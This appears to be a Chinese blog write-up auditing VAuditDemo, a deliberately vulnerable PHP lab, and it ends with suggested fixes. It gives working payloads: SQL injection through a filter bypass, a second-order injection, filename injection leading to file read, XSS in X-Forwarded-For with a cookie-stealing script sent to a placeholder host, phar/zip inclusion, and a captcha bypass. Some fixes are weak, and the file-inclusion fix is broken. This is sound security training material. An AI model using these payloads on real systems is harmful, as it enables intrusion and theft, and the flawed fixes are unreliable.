VAuditDemo代码审计

简介

先提一嘴,代码审计流程大概可以归结为:把握大局,定向功能,敏感函数参数回溯
本文也是按照此思路进行,还在最后增加了漏洞修补方法。
本人平时打打CTF也有接触过代码审计,但都是零零散散的知识点。希望借此机会全面提升自己的代码审计能力。共勉!

把握大局

首先看一下目录结构吧。

VAuditDemo
├── about.inc
├── admin                    //管理员目录及功能
│   ├── captcha.php
│   ├── delCom.php
│   ├── delUser.php
│   ├── index.php
│   ├── logCheck.php
│   ├── login.php
│   ├── manageAdmin.php
│   ├── manageCom.php
│   ├── manage.php
│   ├── manageUser.php
│   └── ping.php
├── css                       //样式文件存储目录
│   ├── bootstrap.css
│   ├── bootstrap.min.css
│   ├── bootswatch.less
│   ├── bootswatch.min.css
│   └── variables.less
├── footer.php                //页首文件
├── header.php                //页尾文件
├── images                    //图片文件存储目录
│   └── default.jpg
├── index.php                 //入口文件
├── install                   //安装文件目录
│   ├── install.php
│   └── install.sql
├── js                        //js文件目录
│   ├── bootstrap.min.js
│   ├── bootswatch.js
│   ├── bsa.js
│   └── check.js
├── messageDetail.php          //留言详情文件
├── message.php                //留言显示及提交文件
├── messageSub.php             //留言提交处理文件
├── search.php                 //留言查找文件
├── sys                        //配置文件目录
│   ├── config.php
│   ├── install.lock
│   └── lib.php
├── uploads                    //文件上传目录
└── user                       //普通用户目录及功能
    ├── avatar.php
    ├── edit.php
    ├── logCheck.php
    ├── login.php
    ├── logout.php
    ├── regCheck.php
    ├── reg.php
    ├── updateAvatar.php
    ├── updateName.php
    ├── updatePass.php
    └── user.php

总的来说,
1、user目录里大概就是普通用户可以使用的功能了。
2、admin目录大概就是要登陆admin账户才能使用的功能了。
3、sys目录包含一些配置文件还有放一些过滤函数的文件。
4、uploads目录为上传文件存放的目录
5、sess目录(自建)用来存放session文件
6、根目录下有index.php,再看看message*.php大概就是实现留言的文件,search.php顾名思义是查询文件。

这里大家可以自行继续跟一下比较敏感且重要的文件,比如:config.php, lib.php, regCheck.php等等,对所有代码有个大概整体的思路,以便于后续的有针对性地代码审计工作。
我自己也会继续跟,但在这里就不一一细讲了。

定向功能

1、安装功能信息泄露

漏洞所在:/install/install.php


很明显,这块header执行跳转,但是并没有终止代码的运行,所以可以看到部分敏感信息,抓个包试试。

当然,我们更想看到图形界面。那就截获返回的数据包,将状态码改成200,Location去掉即可显示到网页上。

要看密码很简单了,审查元素改为text就行,value里面也有。


## 2、留言详情数字型sql注入 `漏洞所在:messageDetail.php`


payload: 7 un||ion sele||ct *,2 fro||m admin#
这里解释下,sqlwaf里先将union转换成sqlwaf,再将||转换成空。所以我们依据他们的次序构造sql注入。
un||ion => union

这里SELECT * FROM comment WHERE comment_id = 7得到的结果是四列,而联合查询后面的sql得到的结果必须也是4列不然会报错,所以使用*,2多加一列。
至于这里为什么不用admin_username,原因是sqlwaf将下划线_转义成了_会导致注入失败。


## 3、修改用户名越权漏洞 `漏洞所在:updateName.php`



可以看到这里直接获取用户输入的用户名和id,并以此来进行更新,造成水平越权漏洞。
原来的用户名

将admin1的用户名改成hacker


成功越权修改


## 4、管理员命令执行 `漏洞所在:admin/ping.php`


很多管理员页面的功能都是如此,毫无过滤,这里也不例外,直接一把梭就行了


## 5、管理员登陆密码爆破 `漏洞所在:admin/login.php`


可以看到是从session中读取验证码,那么如果我们没有session呢?

可以看到,这里没有验证码也登陆成功了。所以就可以依据此思路爆破密码。


# 敏感函数参数回溯 ## 1、任意文件读取 `漏洞所在:user/avater.php`


看到file_get_contents敏感函数,跟一下,看一下变量是否可控。

跟进user/updateAvatar.php

可以看到$_SESSION['avatar'] = $avatar,并且$avatar是可控。

一种思路:抓包改文件名为1∕..∕..∕sys∕config.php,但是这里php文件不能上传。
另一种思路:构造文件名,利用update改变数据库中的avatar,再重新登陆,这样$_SESSION['avatar']就会在数据库中读取被我们污染的$avatar。

执行的sql:UPDATE users SET user_avatar = 'xxxx',user_avatar = '../index.php' WHERE user_name = 'admin1'#.png
filename: ',user_avator = '../index.php' WHERE user_name = 'admin1'#.png


看到第二条,发现没有更改成功。但是还有办法,mysql支持十六进制,我们将user_avator改成十六进制即可。
filename: ',user_avatar = 0x2E2E2F696E6465782E706870 WHERE user_name = 'admin1'#.png


重新登陆一下,看看我们的session文件,成功修改了。

访问avatar.php查看源代码即可得到index.php源码


## 2、注册配合留言进行二次注入 `漏洞所在:user/reg.php + message.phpSub`

注册一个admin\用户,看看数据库的结果。

来分析一下
输入admin\的时候,被转译成admin\,然后经过clean_input的stripslashes编程admin\,在经过clean_input的mysql_real_escape_string又变成admin\,这是前面的\转义了后面的\,且不会写进数据库,所以现在我们的用户名在数据库中就是admin\。

竟然这样,很容易想到,如果读出用户名没有进行再次转移的话,可以造成单引号的转义,我们继续看。

我们知道$_SESSION['username']肯定是登陆后,从数据库读出的用户名,所以我们重新登陆一下。
regCheck.php

我们用户名变成admin\了,那么我们可以再找找有没有利用点,可以把单引号转义的那种。
看看messageSub.php,这里确实的'{$_SESSION['username']}',我们的用户名是admin\,那么得到的结果是'admin',可以将后面的单引号转义

验证一下。
payload:,(select @@datadir),now());#


没问题,转义了一个引号,执行了我们构造的sql语句,成功二次执行。


## 3、ip记录-xss `漏洞所在:user/logCheck.php + admin/manageUser.php`

还记得我们在admin页面能看到什么吗?用户与评论。
那是否有xss呢?
我们先来看看评论查看页面,看到做了html实体编码,基本是没戏了。

再来看看用户信息查看页面,完全没有过滤。而且经过通读代码我们知道,login_ip我们是可以控制的,基本上是有戏了!

logCheck.php里获取IP的代码是:$ip = sqlwaf(get_client_ip());
这里的sqlwaf完全没有过滤特殊标签的,所以是可以实现xss的。
登陆admin1的时候用x-forwarded-for来伪造ip,得到如下payload
x-forwarded-for: <script>alert(1);</script>



可以看到弹窗了,并且admin1的ip是空的。

常规思路打cookie,当然这里没有
<script>document.write("<img src=http://xxxx?tk="+document.cookie+" />");</script>
再看看能不能csrf添加管理员发现也不可行,因为sqlwaf过滤了or,而表单需要用到form。


## 4、phar协议文件包含 `漏洞所在:index.php`


这里限制了后缀为.inc,但是并没有对module参数进行限制,所以我们能用zip协议或者phar协议来绕过.inc后缀限制执行php代码。

主要步骤:
1.新建一个A1oe.inc,文件内容为 <?php phpinfo();?>。
2.压缩该文件,并该文件名为A1oe.jpg (因为只能上传图片文件)。
3.找到Date时间,并转换为时间戳,得到文件名u_1584257982_A1oe.jpg。 (具体解释看后面)
4.使用zip或者phar伪协议读取文件,执行php代码。
?module=zip://uploads/u_1584257982_A1oe.jpg%23A1oe 或者
?module=phar://uploads/u_1584257982_A1oe.jpg/A1oe

成功看到phpinfo页面。

拓展:
文件命规则是:$avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];
我们很容易可以得到Date(上传时打开浏览器的network查看),从而得到文件名。要做的就是将Date转换成时间戳。
echo strtotime('2020-03-15 15:39:42'); //1584257982

zip和phar伪协议宝包含文件参考:https://blog.csdn.net/Fly_hps/article/details/86609730


## 多说一句 依据你的php版本还有中间件(版本)的不同,漏洞数量和利用方式可能会有所不同。 比如我这里用的是php5.4.5是不存在%00截断漏洞的。 所以玩这个demo的时候,可以调整调整环境来玩,我这里只是抛砖引玉,希望大家自己能玩的开心。
# 漏洞修复 ## 1、安装问题 ``` //install/install.php if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) { header( "Location: ../index.php" ); die(); //修复,退出当前脚本,这样就不会执行接下来的代码 } ``` 看下结果 ![](https://img2020.cnblogs.com/blog/1959623/202003/1959623-20200315214110021-1019140680.png)
## 2、留言详情sql注入 ``` //messageDetail.php $str = str_ireplace( "&&", "sqlwaf", $str ); //替换成sqlwaf,不要替换成空字符 $str = str_ireplace( "||", "sqlwaf", $str ); $str = str_ireplace( "'", "sqlwaf", $str ); ```
## 3、越权漏洞 ``` //user/updateName.php改变id获取方式 $clean_user_id = clean_input($_POST['id']); 改为 $clean_user_id = $_SESSION['user_id']; //从session文件中读取user_id ```
## 4、命令执行 ``` //admin/ping.php加上简单的waf $target = trim($target); $waf = array( '&' => '', ';' => '', '|' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', '%' => '', '{' => '', '}' => '', '<' => '', '>' => '', '=' => '', '/' => '', '\\' => '', '?' => '', '*' => '', ); $target = str_replace( array_keys( $waf ), $waf, $target ); ```
## 5、验证码绕过 ``` //同时判断session中是否有验证码即可 if(!empty($_SESSION['captcha']) && (@$_POST['captcha'] !== $_SESSION['captcha'])){ header('Location: login.php'); exit; } ```
## 6、任意文件读取 ``` //从过滤文件名入手 $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name']; $avatar = sqlwaf($avatar); //直接走一遍sqlwaf //更简单点把单引号过滤掉,避免执行用户自己构造的sql语句 ```
## 7、二次注入 ``` //写进session文件时,也要处理从数据库读出的文件 $_SESSION['username'] = clean_input($row['user_name']); $_SESSION['avatar'] = clean($row['user_avatar']); //转义反斜杠,避免单引号被转义 ```
## 8、XSS ``` //输出ip的时候,同样做html编码 $html_login_ip = htmlspecialchars($users['login_ip']); echo $html_login_ip; ```
## 9、文件包含 感觉这个功能删除掉,问题好像也不大嘛。 ``` //如果实在要保留这个功能,简单的过滤下关键字和关键字符把 if (isset($_GET['module'])){ $module = str_replace(array(":","%",";","phar","zip"), " ", $str); include($_GET['module'].'.inc'); } ```
posted @ 2020-03-15 16:49  A1oe  阅读(1033)  评论(0编辑  收藏  举报